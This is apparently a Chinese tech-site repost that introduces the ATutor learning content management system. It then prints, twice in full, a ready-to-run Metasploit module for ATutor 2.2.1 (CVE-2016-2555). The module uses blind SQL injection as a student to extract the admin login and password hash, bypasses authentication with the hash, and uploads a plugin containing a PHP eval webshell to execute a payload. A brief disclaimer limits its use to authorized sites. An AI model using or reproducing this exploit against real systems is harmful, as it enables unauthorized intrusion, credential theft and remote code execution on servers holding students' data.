教学内容管理系统ATutor 2.2.1注入漏洞

安全 漏洞
Atutor是一款开源的“教学内容管理系统”(Learning Content Management System,简称LCMS)。采用PHP、MySQL,HTTP Web 服务器推荐使用Apache。

Atutor是一款开源的“教学内容管理系统”(Learning Content Management System,简称LCMS)。采用PHP、MySQL,HTTP Web 服务器推荐使用Apache。

[[163568]]

Atutor除了教学内容管理的功能,还包括了简化的论坛、聊天室等,另外通过模块安装,还可以扩展功能:

EWiki,ErFurtWiki在Atutor的实现;

ATalker,基于网页的文本朗读工具。

Atutor支持二十多种语言,包括中文,志愿者可以参加翻译等工作。

下面漏洞利用代码基于metasploit平台

使用方法:保存下面的代码,后缀名为.rb,然后放到metasploit脚本目录下,载入即可

以下代码具有攻击性,只做技术交流使用,使用在已经授权的网站,如果出现任何违法行为,本站概不负责。

  1.  
  2. 以下代码具有攻击性,只做技术交流使用,使用在已经授权的网站,如果出现任何违法行为,本站概不负责  
  3.  
  4. Ruby  
  5.  
  6. require 'msf/core' 
  7.    
  8. class Metasploit3 < Msf::Exploit::Remote  
  9.   Rank = ExcellentRanking  
  10.    
  11.   include Msf::Exploit::Remote::HttpClient  
  12.   include Msf::Exploit::FileDropper  
  13.    
  14.   def initialize(info={})  
  15.     super(update_info(info,  
  16.       'Name'           => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',  
  17.       'Description'    => %q{  
  18.          This module exploits a SQL Injection vulnerability and an authentication weakness  
  19.          vulnerability in ATutor. This essentially means an attacker can bypass authenication  
  20.          and reach the administrators interface where they can upload malcious code.  
  21.    
  22.          You are required to login to the target to reach the SQL Injection, however this  
  23.          can be done as a student account and remote registration is enabled by default.  
  24.       },  
  25.       'License'        => MSF_LICENSE,  
  26.       'Author'         =>  
  27.         [  
  28.           'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code  
  29.         ],  
  30.       'References'     =>  
  31.         [  
  32.           [ 'CVE''2016-2555'  ],  
  33.           [ 'URL''http://www.atutor.ca/' ] # Official Website  
  34.         ],  
  35.       'Privileged'     => false,  
  36.       'Payload'        =>  
  37.         {  
  38.           'DisableNops' => true,  
  39.         },  
  40.       'Platform'       => ['php'],  
  41.       'Arch'           => ARCH_PHP,  
  42.       'Targets'        => [[ 'Automatic', { }]],  
  43.       'DisclosureDate' => 'Mar 1 2016',  
  44.       'DefaultTarget'  => 0))  
  45.    
  46.     register_options(  
  47.       [  
  48.         OptString.new('TARGETURI', [true'The path of Atutor''/ATutor/']),  
  49.         OptString.new('USERNAME', [true'The username to authenticate as']),  
  50.         OptString.new('PASSWORD', [true'The password to authenticate with'])  
  51.       ],self.class)  
  52.   end 
  53.    
  54.   def print_status(msg='')  
  55.     super("#{peer} - #{msg}")  
  56.   end 
  57.    
  58.   def print_error(msg='')  
  59.     super("#{peer} - #{msg}")  
  60.   end 
  61.    
  62.   def print_good(msg='')  
  63.     super("#{peer} - #{msg}")  
  64.   end 
  65.    
  66.   def check 
  67.     # the only way to test if the target is vuln  
  68.     begin 
  69.       test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  70.     rescue Msf::Exploit::Failed => e  
  71.       vprint_error(e.message)  
  72.       return Exploit::CheckCode::Unknown  
  73.     end 
  74.    
  75.     if test_injection(test_cookie)  
  76.       return Exploit::CheckCode::Vulnerable  
  77.     else 
  78.       return Exploit::CheckCode::Safe  
  79.     end 
  80.   end 
  81.    
  82.   def create_zip_file  
  83.     zip_file      = Rex::Zip::Archive.new  
  84.     @header       = Rex::Text.rand_text_alpha_upper(4)  
  85.     @payload_name = Rex::Text.rand_text_alpha_lower(4)  
  86.     @plugin_name  = Rex::Text.rand_text_alpha_lower(3)  
  87.    
  88.     path = "#{@plugin_name}/#{@payload_name}.php" 
  89.     register_file_for_cleanup("#{@payload_name}.php""../../content/module/#{path}")  
  90.    
  91.     zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")  
  92.     zip_file.pack  
  93.   end 
  94.    
  95.   def exec_code  
  96.     send_request_cgi({  
  97.       'method'   => 'GET',  
  98.       'uri'      => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),  
  99.       'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" 
  100.     })  
  101.   end 
  102.    
  103.   def upload_shell(cookie)  
  104.     post_data = Rex::MIME::Message.new  
  105.     post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")  
  106.     post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")  
  107.     data = post_data.to_s  
  108.     res = send_request_cgi({  
  109.       'uri' => normalize_uri(target_uri.path, "mods""_core""modules""install_modules.php"),  
  110.       'method' => 'POST',  
  111.       'data' => data,  
  112.       'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
  113.       'cookie' => cookie,  
  114.       'agent' => 'Mozilla' 
  115.     })  
  116.    
  117.     if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")  
  118.        res = send_request_cgi({  
  119.          'method' => 'GET',  
  120.          'uri'    => normalize_uri(target_uri.path, "mods""_core""modules", res.redirection),  
  121.          'cookie' => cookie,  
  122.          'agent'  => 'Mozilla',  
  123.        })  
  124.        if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")  
  125.           res = send_request_cgi({  
  126.             'method' => 'GET',  
  127.             'uri'    => normalize_uri(target_uri.path, "mods""_core""modules""module_install_step_2.php?mod=#{@plugin_name}"),  
  128.             'cookie' => cookie,  
  129.             'agent'  => 'Mozilla',  
  130.           })  
  131.        return true 
  132.        end 
  133.     end 
  134.    
  135.     # auth failed if we land here, bail  
  136.     fail_with(Failure::Unknown, "Unable to upload php code")  
  137.     return false 
  138.   end 
  139.    
  140.   def get_hashed_password(token, password, bypass)  
  141.     if bypass  
  142.       return Rex::Text.sha1(password + token)  
  143.     else 
  144.       return Rex::Text.sha1(Rex::Text.sha1(password) + token)  
  145.     end 
  146.   end 
  147.    
  148.   def login(username, password, bypass)  
  149.     res = send_request_cgi({  
  150.       'method'   => 'GET',  
  151.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  152.       'agent' => 'Mozilla',  
  153.     })  
  154.    
  155.     token = $1 if res.body =~ /\) \+ \"(.*)\"\);/  
  156.     cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/  
  157.     if bypass  
  158.       password = get_hashed_password(token, passwordtrue)  
  159.     else 
  160.       password = get_hashed_password(token, passwordfalse)  
  161.     end 
  162.    
  163.     res = send_request_cgi({  
  164.       'method'   => 'POST',  
  165.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  166.       'vars_post' => {  
  167.         'form_password_hidden' => password,  
  168.         'form_login' => username,  
  169.         'submit' => 'Login' 
  170.       },  
  171.       'cookie' => cookie,  
  172.       'agent' => 'Mozilla' 
  173.     })  
  174.     cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/  
  175.    
  176.     # this is what happens when no state is maintained by the http client  
  177.     if res && res.code == 302  
  178.        if res.redirection.to_s.include?('bounce.php?course=0')  
  179.         res = send_request_cgi({  
  180.           'method'   => 'GET',  
  181.           'uri'      => normalize_uri(target_uri.path, res.redirection),  
  182.           'cookie' => cookie,  
  183.           'agent' => 'Mozilla' 
  184.         })  
  185.         cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  186.         if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')  
  187.            res = send_request_cgi({  
  188.              'method'   => 'GET',  
  189.              'uri'      => normalize_uri(target_uri.path, res.redirection),  
  190.              'cookie' => cookie,  
  191.              'agent' => 'Mozilla' 
  192.            })  
  193.            cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  194.            return cookie  
  195.           end 
  196.        else res.redirection.to_s.include?('admin/index.php')  
  197.           # if we made it here, we are admin  
  198.           return cookie  
  199.        end 
  200.     end 
  201.    
  202.     # auth failed if we land here, bail  
  203.     fail_with(Failure::NoAccess, "Authentication failed with username #{username}")  
  204.     return nil  
  205.   end 
  206.    
  207.   def perform_request(sqli, cookie)  
  208.     # the search requires a minimum of 3 chars  
  209.     sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='" 
  210.     rand_key = Rex::Text.rand_text_alpha(1)  
  211.     res = send_request_cgi({  
  212.       'method'   => 'POST',  
  213.       'uri'      => normalize_uri(target_uri.path, "mods""_standard""social""connections.php"),  
  214.       'vars_post' => {  
  215.         "search_friends_#{rand_key}" => sqli,  
  216.         'rand_key' => rand_key,  
  217.         'search' => 'Search People' 
  218.       },  
  219.       'cookie' => cookie,  
  220.       'agent' => 'Mozilla' 
  221.     })  
  222.     return res.body  
  223.   end 
  224.    
  225.    def dump_the_hash(cookie)  
  226.     extracted_hash = "" 
  227.     sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)" 
  228.     login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i  
  229.     for i in 1..login_and_hash_length  
  230.        sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))" 
  231.        asciival = generate_sql_and_test(falsefalse, sqli, cookie)  
  232.        if asciival >= 0  
  233.           extracted_hash << asciival.chr  
  234.        end 
  235.     end 
  236.     return extracted_hash.split(":")  
  237.   end 
  238.    
  239.   def get_ascii_value(sql, cookie)  
  240.     lower = 0  
  241.     upper = 126  
  242.     while lower < upper 
  243.        mid = (lower + upper) / 2  
  244.        sqli = "#{sql}>#{mid}" 
  245.        result = perform_request(sqli, cookie)  
  246.        if result =~ /There are \d entries./  
  247.         lower = mid + 1  
  248.        else 
  249.         upper = mid  
  250.        end 
  251.     end 
  252.     if lower > 0 and lower < 126  
  253.        value = lower 
  254.     else 
  255.        sqli = "#{sql}=#{lower}" 
  256.        result = perform_request(sqli, cookie)  
  257.        if result =~ /There are \d entries./  
  258.           value = lower 
  259.        end 
  260.     end 
  261.     return value  
  262.   end 
  263.    
  264.   def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)  
  265.     if do_test  
  266.       if do_true  
  267.         result = perform_request("1=1", cookie)  
  268.         if result =~ /There are \d entries./  
  269.           return true 
  270.         end 
  271.       else not do_true  
  272.         result = perform_request("1=2", cookie)  
  273.         if not result =~ /There are \d entries./  
  274.           return true 
  275.         end 
  276.       end 
  277.     elsif not do_test and sql  
  278.       return get_ascii_value(sql, cookie)  
  279.     end 
  280.   end 
  281.    
  282.   def test_injection(cookie)  
  283.     if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)  
  284.        if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)  
  285.         return true 
  286.        end 
  287.     end 
  288.     return false 
  289.   end 
  290.    
  291.   def report_cred(opts)  
  292.     service_data = {  
  293.       address: rhost,  
  294.       port: rport,  
  295.       service_name: ssl ? 'https' : 'http',  
  296.       protocol: 'tcp',  
  297.       workspace_id: myworkspace_id  
  298.     }  
  299.    
  300.     credential_data = {  
  301.       module_fullname: fullname,  
  302.       post_reference_name: self.refname,  
  303.       private_data: opts[:password],  
  304.       origin_type: :service,  
  305.       private_type: :password,  
  306.       username: opts[:user]  
  307.     }.merge(service_data)  
  308.    
  309.     login_data = {  
  310.       core: create_credential(credential_data),  
  311.       status: Metasploit::Model::Login::Status::SUCCESSFUL,  
  312.       last_attempted_at: Time.now  
  313.     }.merge(service_data)  
  314.    
  315.     create_credential_login(login_data)  
  316.   end 
  317.    
  318.   def exploit  
  319.     student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  320.     print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")  
  321.     report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])  
  322.    
  323.     print_status("Dumping username and password hash...")  
  324.     # we got admin hash now  
  325.     credz = dump_the_hash(student_cookie)  
  326.     print_good("Got the #{credz[0]} hash: #{credz[1]} !")  
  327.     if credz  
  328.       admin_cookie = login(credz[0], credz[1], true)  
  329.       print_status("Logged in as #{credz[0]}, uploading shell...")  
  330.       # install a plugin  
  331.       if upload_shell(admin_cookie)  
  332.         print_good("Shell upload successful!")  
  333.         # boom  
  334.         exec_code  
  335.       end 
  336.     end 
  337.   end 
  338. end 
  339. require 'msf/core' 
  340.    
  341. class Metasploit3 < Msf::Exploit::Remote  
  342.   Rank = ExcellentRanking  
  343.    
  344.   include Msf::Exploit::Remote::HttpClient  
  345.   include Msf::Exploit::FileDropper  
  346.    
  347.   def initialize(info={})  
  348.     super(update_info(info,  
  349.       'Name'           => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',  
  350.       'Description'    => %q{  
  351.          This module exploits a SQL Injection vulnerability and an authentication weakness  
  352.          vulnerability in ATutor. This essentially means an attacker can bypass authenication  
  353.          and reach the administrators interface where they can upload malcious code.  
  354.    
  355.          You are required to login to the target to reach the SQL Injection, however this  
  356.          can be done as a student account and remote registration is enabled by default.  
  357.       },  
  358.       'License'        => MSF_LICENSE,  
  359.       'Author'         =>  
  360.         [  
  361.           'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code  
  362.         ],  
  363.       'References'     =>  
  364.         [  
  365.           [ 'CVE''2016-2555'  ],  
  366.           [ 'URL''http://www.atutor.ca/' ] # Official Website  
  367.         ],  
  368.       'Privileged'     => false,  
  369.       'Payload'        =>  
  370.         {  
  371.           'DisableNops' => true,  
  372.         },  
  373.       'Platform'       => ['php'],  
  374.       'Arch'           => ARCH_PHP,  
  375.       'Targets'        => [[ 'Automatic', { }]],  
  376.       'DisclosureDate' => 'Mar 1 2016',  
  377.       'DefaultTarget'  => 0))  
  378.    
  379.     register_options(  
  380.       [  
  381.         OptString.new('TARGETURI', [true'The path of Atutor''/ATutor/']),  
  382.         OptString.new('USERNAME', [true'The username to authenticate as']),  
  383.         OptString.new('PASSWORD', [true'The password to authenticate with'])  
  384.       ],self.class)  
  385.   end 
  386.    
  387.   def print_status(msg='')  
  388.     super("#{peer} - #{msg}")  
  389.   end 
  390.    
  391.   def print_error(msg='')  
  392.     super("#{peer} - #{msg}")  
  393.   end 
  394.    
  395.   def print_good(msg='')  
  396.     super("#{peer} - #{msg}")  
  397.   end 
  398.    
  399.   def check 
  400.     # the only way to test if the target is vuln  
  401.     begin 
  402.       test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  403.     rescue Msf::Exploit::Failed => e  
  404.       vprint_error(e.message)  
  405.       return Exploit::CheckCode::Unknown  
  406.     end 
  407.    
  408.     if test_injection(test_cookie)  
  409.       return Exploit::CheckCode::Vulnerable  
  410.     else 
  411.       return Exploit::CheckCode::Safe  
  412.     end 
  413.   end 
  414.    
  415.   def create_zip_file  
  416.     zip_file      = Rex::Zip::Archive.new  
  417.     @header       = Rex::Text.rand_text_alpha_upper(4)  
  418.     @payload_name = Rex::Text.rand_text_alpha_lower(4)  
  419.     @plugin_name  = Rex::Text.rand_text_alpha_lower(3)  
  420.    
  421.     path = "#{@plugin_name}/#{@payload_name}.php" 
  422.     register_file_for_cleanup("#{@payload_name}.php""../../content/module/#{path}")  
  423.    
  424.     zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")  
  425.     zip_file.pack  
  426.   end 
  427.    
  428.   def exec_code  
  429.     send_request_cgi({  
  430.       'method'   => 'GET',  
  431.       'uri'      => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),  
  432.       'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" 
  433.     })  
  434.   end 
  435.    
  436.   def upload_shell(cookie)  
  437.     post_data = Rex::MIME::Message.new  
  438.     post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")  
  439.     post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")  
  440.     data = post_data.to_s  
  441.     res = send_request_cgi({  
  442.       'uri' => normalize_uri(target_uri.path, "mods""_core""modules""install_modules.php"),  
  443.       'method' => 'POST',  
  444.       'data' => data,  
  445.       'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
  446.       'cookie' => cookie,  
  447.       'agent' => 'Mozilla' 
  448.     })  
  449.    
  450.     if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")  
  451.        res = send_request_cgi({  
  452.          'method' => 'GET',  
  453.          'uri'    => normalize_uri(target_uri.path, "mods""_core""modules", res.redirection),  
  454.          'cookie' => cookie,  
  455.          'agent'  => 'Mozilla',  
  456.        })  
  457.        if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")  
  458.           res = send_request_cgi({  
  459.             'method' => 'GET',  
  460.             'uri'    => normalize_uri(target_uri.path, "mods""_core""modules""module_install_step_2.php?mod=#{@plugin_name}"),  
  461.             'cookie' => cookie,  
  462.             'agent'  => 'Mozilla',  
  463.           })  
  464.        return true 
  465.        end 
  466.     end 
  467.    
  468.     # auth failed if we land here, bail  
  469.     fail_with(Failure::Unknown, "Unable to upload php code")  
  470.     return false 
  471.   end 
  472.    
  473.   def get_hashed_password(token, password, bypass)  
  474.     if bypass  
  475.       return Rex::Text.sha1(password + token)  
  476.     else 
  477.       return Rex::Text.sha1(Rex::Text.sha1(password) + token)  
  478.     end 
  479.   end 
  480.    
  481.   def login(username, password, bypass)  
  482.     res = send_request_cgi({  
  483.       'method'   => 'GET',  
  484.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  485.       'agent' => 'Mozilla',  
  486.     })  
  487.    
  488.     token = $1 if res.body =~ /\) \+ \"(.*)\"\);/  
  489.     cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/  
  490.     if bypass  
  491.       password = get_hashed_password(token, passwordtrue)  
  492.     else 
  493.       password = get_hashed_password(token, passwordfalse)  
  494.     end 
  495.    
  496.     res = send_request_cgi({  
  497.       'method'   => 'POST',  
  498.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  499.       'vars_post' => {  
  500.         'form_password_hidden' => password,  
  501.         'form_login' => username,  
  502.         'submit' => 'Login' 
  503.       },  
  504.       'cookie' => cookie,  
  505.       'agent' => 'Mozilla' 
  506.     })  
  507.     cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/  
  508.    
  509.     # this is what happens when no state is maintained by the http client  
  510.     if res && res.code == 302  
  511.        if res.redirection.to_s.include?('bounce.php?course=0')  
  512.         res = send_request_cgi({  
  513.           'method'   => 'GET',  
  514.           'uri'      => normalize_uri(target_uri.path, res.redirection),  
  515.           'cookie' => cookie,  
  516.           'agent' => 'Mozilla' 
  517.         })  
  518.         cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  519.         if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')  
  520.            res = send_request_cgi({  
  521.              'method'   => 'GET',  
  522.              'uri'      => normalize_uri(target_uri.path, res.redirection),  
  523.              'cookie' => cookie,  
  524.              'agent' => 'Mozilla' 
  525.            })  
  526.            cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  527.            return cookie  
  528.           end 
  529.        else res.redirection.to_s.include?('admin/index.php')  
  530.           # if we made it here, we are admin  
  531.           return cookie  
  532.        end 
  533.     end 
  534.    
  535.     # auth failed if we land here, bail  
  536.     fail_with(Failure::NoAccess, "Authentication failed with username #{username}")  
  537.     return nil  
  538.   end 
  539.    
  540.   def perform_request(sqli, cookie)  
  541.     # the search requires a minimum of 3 chars  
  542.     sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='" 
  543.     rand_key = Rex::Text.rand_text_alpha(1)  
  544.     res = send_request_cgi({  
  545.       'method'   => 'POST',  
  546.       'uri'      => normalize_uri(target_uri.path, "mods""_standard""social""connections.php"),  
  547.       'vars_post' => {  
  548.         "search_friends_#{rand_key}" => sqli,  
  549.         'rand_key' => rand_key,  
  550.         'search' => 'Search People' 
  551.       },  
  552.       'cookie' => cookie,  
  553.       'agent' => 'Mozilla' 
  554.     })  
  555.     return res.body  
  556.   end 
  557.    
  558.    def dump_the_hash(cookie)  
  559.     extracted_hash = "" 
  560.     sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)" 
  561.     login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i  
  562.     for i in 1..login_and_hash_length  
  563.        sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))" 
  564.        asciival = generate_sql_and_test(falsefalse, sqli, cookie)  
  565.        if asciival >= 0  
  566.           extracted_hash << asciival.chr  
  567.        end 
  568.     end 
  569.     return extracted_hash.split(":")  
  570.   end 
  571.    
  572.   def get_ascii_value(sql, cookie)  
  573.     lower = 0  
  574.     upper = 126  
  575.     while lower < upper 
  576.        mid = (lower + upper) / 2  
  577.        sqli = "#{sql}>#{mid}" 
  578.        result = perform_request(sqli, cookie)  
  579.        if result =~ /There are \d entries./  
  580.         lower = mid + 1  
  581.        else 
  582.         upper = mid  
  583.        end 
  584.     end 
  585.     if lower > 0 and lower < 126  
  586.        value = lower 
  587.     else 
  588.        sqli = "#{sql}=#{lower}" 
  589.        result = perform_request(sqli, cookie)  
  590.        if result =~ /There are \d entries./  
  591.           value = lower 
  592.        end 
  593.     end 
  594.     return value  
  595.   end 
  596.    
  597.   def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)  
  598.     if do_test  
  599.       if do_true  
  600.         result = perform_request("1=1", cookie)  
  601.         if result =~ /There are \d entries./  
  602.           return true 
  603.         end 
  604.       else not do_true  
  605.         result = perform_request("1=2", cookie)  
  606.         if not result =~ /There are \d entries./  
  607.           return true 
  608.         end 
  609.       end 
  610.     elsif not do_test and sql  
  611.       return get_ascii_value(sql, cookie)  
  612.     end 
  613.   end 
  614.    
  615.   def test_injection(cookie)  
  616.     if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)  
  617.        if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)  
  618.         return true 
  619.        end 
  620.     end 
  621.     return false 
  622.   end 
  623.    
  624.   def report_cred(opts)  
  625.     service_data = {  
  626.       address: rhost,  
  627.       port: rport,  
  628.       service_name: ssl ? 'https' : 'http',  
  629.       protocol: 'tcp',  
  630.       workspace_id: myworkspace_id  
  631.     }  
  632.    
  633.     credential_data = {  
  634.       module_fullname: fullname,  
  635.       post_reference_name: self.refname,  
  636.       private_data: opts[:password],  
  637.       origin_type: :service,  
  638.       private_type: :password,  
  639.       username: opts[:user]  
  640.     }.merge(service_data)  
  641.    
  642.     login_data = {  
  643.       core: create_credential(credential_data),  
  644.       status: Metasploit::Model::Login::Status::SUCCESSFUL,  
  645.       last_attempted_at: Time.now  
  646.     }.merge(service_data)  
  647.    
  648.     create_credential_login(login_data)  
  649.   end 
  650.    
  651.   def exploit  
  652.     student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  653.     print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")  
  654.     report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])  
  655.    
  656.     print_status("Dumping username and password hash...")  
  657.     # we got admin hash now  
  658.     credz = dump_the_hash(student_cookie)  
  659.     print_good("Got the #{credz[0]} hash: #{credz[1]} !")  
  660.     if credz  
  661.       admin_cookie = login(credz[0], credz[1], true)  
  662.       print_status("Logged in as #{credz[0]}, uploading shell...")  
  663.       # install a plugin  
  664.       if upload_shell(admin_cookie)  
  665.         print_good("Shell upload successful!")  
  666.         # boom  
  667.         exec_code  
  668.       end 
  669.     end 
  670.   end 
  671. end 
  672.    
  673.  

 

责任编辑:蓝雨泪 来源: 博客
相关推荐

2016-10-18 17:25:32

开源CMS

2018-03-19 11:24:45

2011-08-18 10:05:48

内容管理云计算

2022-11-16 08:18:06

架构

2010-04-21 09:08:41

Oracle内容管理

2017-08-08 08:14:40

PHP建站CMS

2014-05-28 10:21:30

JspxcmsJava开源

2022-06-01 14:07:11

Payload开源WordPress

2021-09-02 09:41:13

内容管理人工智能AI

2009-11-02 13:47:09

2017-02-17 08:14:27

2015-08-26 17:37:50

Sitecore

2012-05-31 16:35:04

IBMECMIM

2012-06-07 13:53:00

2010-07-16 10:56:16

2015-02-10 17:25:19

Adobe

2010-05-11 10:35:38

2010-07-16 11:24:23

IBM企业内容管理

2012-06-01 14:33:39

IBMECMIM

2015-07-24 09:48:19

点赞
收藏

51CTO技术栈公众号